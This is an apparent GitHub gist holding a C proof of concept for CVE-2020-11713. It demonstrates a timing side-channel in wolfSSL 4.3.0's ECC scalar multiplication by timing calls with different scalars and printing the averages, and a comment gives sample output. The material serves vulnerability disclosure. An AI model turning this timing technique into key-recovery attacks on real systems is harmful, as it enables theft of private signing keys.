

[pietroborrello / wolfssl_4.3.0_ecc_mulmod_poc.c](#)

Last active 2 years ago

☆ Star

<> Code ↻ Revisions 4

PoC for CVE-2020-11713. Timing side-channel on wc_ecc_mulmod which allows to recover private key used to sign messages.

wolfssl_4.3.0_ecc_mulmod_poc.c

```
1 #include <wolfssl/options.h>
2 #include <wolfssl/wolfcrypt/settings.h>
3 #include <wolfssl/wolfcrypt/ecc.h>
4 #include <wolfssl/wolfcrypt/asn_public.h>
5 #include <wolfssl/error-ssl.h>
6 #include <wolfssl/ssl.h>
7
8 #define KEY32 32
9
10 static uint64_t inline rdtscp(void) {
11     uint64_t a, d;
12     asm volatile("mfence; rdtscp;" : "=a"(a), "=d"(d)::"rcx");
13     a = (d << 32) | a;
14     return a;
15 }
16
17 static int test_wc_ecc_mulmod (void)
18 {
19     int ret = 0;
20     ecc_key key1, key2, key3;
21     WC_RNG rng;
22     uint64_t time_start = 0, time_end = 0;
23     uint64_t sum1 = 0, sum2 = 0, sum3 = 0;
24
25     ret = wc_InitRng(&rng);
26     if (ret == 0) {
27         ret = wc_ecc_init(&key1);
28         if (ret == 0) {
29             ret = wc_ecc_init(&key2);
30         }
31         if (ret == 0) {
32             ret = wc_ecc_init(&key3);
33         }
34         if (ret == 0) {
35             ret = wc_ecc_make_key(&rng, KEY32, &key1);
36         }
37         wc_FreeRng(&rng);
38     }
39     if (ret == 0) {
40         ret = wc_ecc_import_raw_ex(&key2, key1.dp->Gx, key1.dp->Gy, key1.dp->Af,
41                                   ECC_SECP256R1);
42         if (ret == 0) {
43             ret = wc_ecc_import_raw_ex(&key3, key1.dp->Gx, key1.dp->Gy,
44                                       key1.dp->prime, ECC_SECP256R1);
45         }
46     }
47     for (int i = 0; i < 1000; i++) {
48         // Measure execution time of a random k
49         if (ret == 0) {
50             time_start = rdtscp();
51             ret = wc_ecc_mulmod(&key1.k, &key2.pubkey, &key3.pubkey, &key2.k,
52                               &key3.k, 1);
53             time_end = rdtscp();
54         }
55         sum1 += (time_end - time_start);
56     }
57     for (int i = 0; i < 1000; i++) {
58         // Measure execution time with k = 0
59         mp_set_int(&key1.k, 0);
60         if (ret == 0) {
61             time_start = rdtscp();
62             ret = wc_ecc_mulmod(&key1.k, &key2.pubkey, &key3.pubkey, &key2.k,
63                               &key3.k, 1);
64             time_end = rdtscp();
65         }
66         sum2 += (time_end - time_start);
67     }
68     for (int i = 0; i < 1000; i++) {
69         // Measure execution time with k = 0xffffffffffffffff
70         mp_set_int(&key1.k, 0xffffffffffffffff);
71         if (ret == 0) {
72             time_start = rdtscp();
73             ret = wc_ecc_mulmod(&key1.k, &key2.pubkey, &key3.pubkey, &key2.k,
74                               &key3.k, 1);
75             time_end = rdtscp();
76         }
77         sum3 += (time_end - time_start);
78     }
79     printf("\ntest 1: %lu\n", sum1/1000);
80     printf("\ntest 2: %lu\n", sum2/1000);
```

```
81     printf("\ntest 3: %lu\n", sum3/1000);
82
83     wc_ecc_free(&key1);
84     wc_ecc_free(&key2);
85     wc_ecc_free(&key3);
86     return ret;
87 }
88
89 int main(int argc, char* argv[])
90 {
91     return test_wc_ecc_mulmod();
92 }
```

pietroborrello commented on Apr 13, 2020 • edited ▾

Author

Example output (Intel Core i7-8665U CPU @ 1.90GHz):

test 1: 3849098

test 2: 3443656

test 3: 3570397